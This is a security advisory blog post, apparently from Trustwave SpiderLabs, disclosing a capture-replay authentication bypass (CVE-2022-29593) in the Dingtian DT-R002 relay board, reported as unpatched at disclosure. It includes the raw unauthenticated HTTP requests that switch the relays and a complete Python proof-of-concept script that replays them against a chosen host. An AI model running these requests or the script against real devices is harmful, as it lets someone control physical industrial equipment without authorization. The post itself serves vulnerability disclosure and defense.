In the OT space it is increasingly common to see devices that are used to bridge the gap between the world of PLCs and IP based networks.
These types of devices are commonly referred to as ‘smart-devices’. While smart-devices offer the convenience of remote management, this functionality also may create potential weaknesses exploitable by threat actors as well, and practical exploitation of such flaws is being witnessed in the wild.
This blog post describes an authentication bypass within one such device, that allows an attacker with access to the IP network the ability to capture and subsequently replay discrete device commands, which allows for the switching on and off the physical relays on the device. As will be seen, these attacks can come in the form of ModBus or simple HTTP based methods.
Target
The Dingtian DT-R002 is an embedded board/relay card that allows for the control of Physical Relays through both HTTP and ModBus communications over an IP network.
Vulnerability
The Dingtian (Dingtian DT-R002) 2CH relay, running firmware V3.1.276A contains a vulnerability that if exploited allows an attacker to replay the same data or similar data. This allows the attacker to control the devices attached to the relays without requiring authentication.
Finding
It was found that the device relays could be controlled (turned on and off) through unauthenticated HTTP requests. Due to the use of a cleartext protocol for the sending of command messages, in this case HTTP, it is possible to capture these requests using sniffing techniques.
The following HTTP control messages were intercepted and subsequently successfully replayed to the Dingtian 2CH relay to effect control of the device:
Sample Requests
GET /relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&1&0&
Figure 1. HTTP request triggering the Dingtian 2CH relay to switch relay to the “ON” state
GET /relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0& HTTP/1.1
Host: 192.168.7.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:95.0) Gecko/20100101 Firefox/95.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.7.1/relay_cgi.html
Cookie: session=4463009
Response
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 11
&0&0&0&0&0&
Figure 2. HTTP request triggering the Dingtian 2CH relay to switch relay to the “OFF” state
Vulnerability
CWE-294 - Authentication Bypass by Capture-Replay
Known Affected Software Configurations
V3.1.276A (Firmware)
PoC Code
The following custom PoC script was used by Trustwave SpiderLabs to demonstrate the issue by replaying the messages in Figures 1 and 2 against the vulnerable device.
#!/usr/local/bin/python3
# Author: Victor Hanna (SpiderLabs)
# DingTian DT-R002 2CH Smart Relay
# CWE-294 - Authentication Bypass by Capture-replay
import requests
import re
import urllib.parse
from colorama import init
from colorama import Fore, Back, Style
import sys
import os
import time
from urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
def banner():
print ("[+]********************************************************************************[+]")
print ("| Author : Victor Hanna (9lyph)["+Fore.RED + "SpiderLabs" +Style.RESET_ALL+"]\t\t\t\t\t |")
print ("| Description: DingTian DT-R002 2CH Smart Relay |")
print ("| Usage : "+sys.argv[0]+"
<relay#> |") print ("[+]********************************************************************************[+]") def main(): os.system('clear') banner() urlRelay1On = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=1&time=0&pwd=0&" urlRelay1Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=0&on=0&time=0&pwd=0&" urlRelay2On = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=1&time=0&pwd=0&" urlRelay2Off = "http://"+host+"/relay_cgi.cgi?type=0&relay=1&on=0&time=0&pwd=0&" headers = { "Host": ""+host+"", "User-Agent": "9lyph/3.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "DNT": "1", "Connection": "close", "Referer": "http://"+host+"/relay_cgi.html", "Cookie": "session=4463009" } print (Fore.YELLOW + f"[+] Exploiting" + Style.RESET_ALL, flush=True, end=" ") for i in range(5): time.sleep (1) print (Fore.YELLOW + "." + Style.RESET_ALL, flush=True, end="") try: if (relay == "1"): print (Fore.GREEN + "\n[+] Relay 1 switched on !" + Style.RESET_ALL) r = requests.get(urlRelay1On) time.sleep (5) print (Fore.GREEN + "[+] Relay 1 switched off !" + Style.RESET_ALL) r = requests.get(urlRelay1Off) print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="") elif (relay == "2"): print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL) r = requests.get(urlRelay2On) time.sleep (5) print (Fore.GREEN + "[+] Relay 2 switched on !" + Style.RESET_ALL) r = requests.get(urlRelay2Off) print (Fore.YELLOW + "PWNED !!!" + Style.RESET_ALL, flush=True, end="") else: print (Fore.RED + "[!] No such relay" + Style.RESET_ALL) except KeyboardInterrupt: sys.exit(1) except requests.exceptions.Timeout: print ("[!] Connection to host timed out !") sys.exit(1) except Exception as e: print (Fore.RED + f"[+] You came up short I\'m afraid !" + Style.RESET_ALL) if __name__ == "__main__": if len(sys.argv)>2: host = sys.argv[1] relay = sys.argv[2] main () else: print (Fore.RED + f"[+] Not enough arguments, please specify target and relay!" + Style.RESET_ALL)
Figure 3. PoC exploit script
As a part of Trustwave’s Responsible Disclosure policy, we reached out to the vendor to ensure that a patch was released prior to public disclosure. However, at the time of this disclosure no patch has been issued by the vendor.
The following video shows exploitation of the vulnerability using the proof-of-concept code presented above.
Description of an additional ModBus attack vector and details of the device teardown can be found at the researcher’s Github repository linked below.
References
Github: https://github.com/SpiderLabs/advisories-poc/tree/master/CVE-2022-29593
TWSL Advisory: TWSL2022-001: Authentication Bypass by Capture-replay in DingTian 2 Channel Relay Board
Victor’s Modbus 101 primer: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/modbus-101-one-protocol-to-rule-the-ot-world/
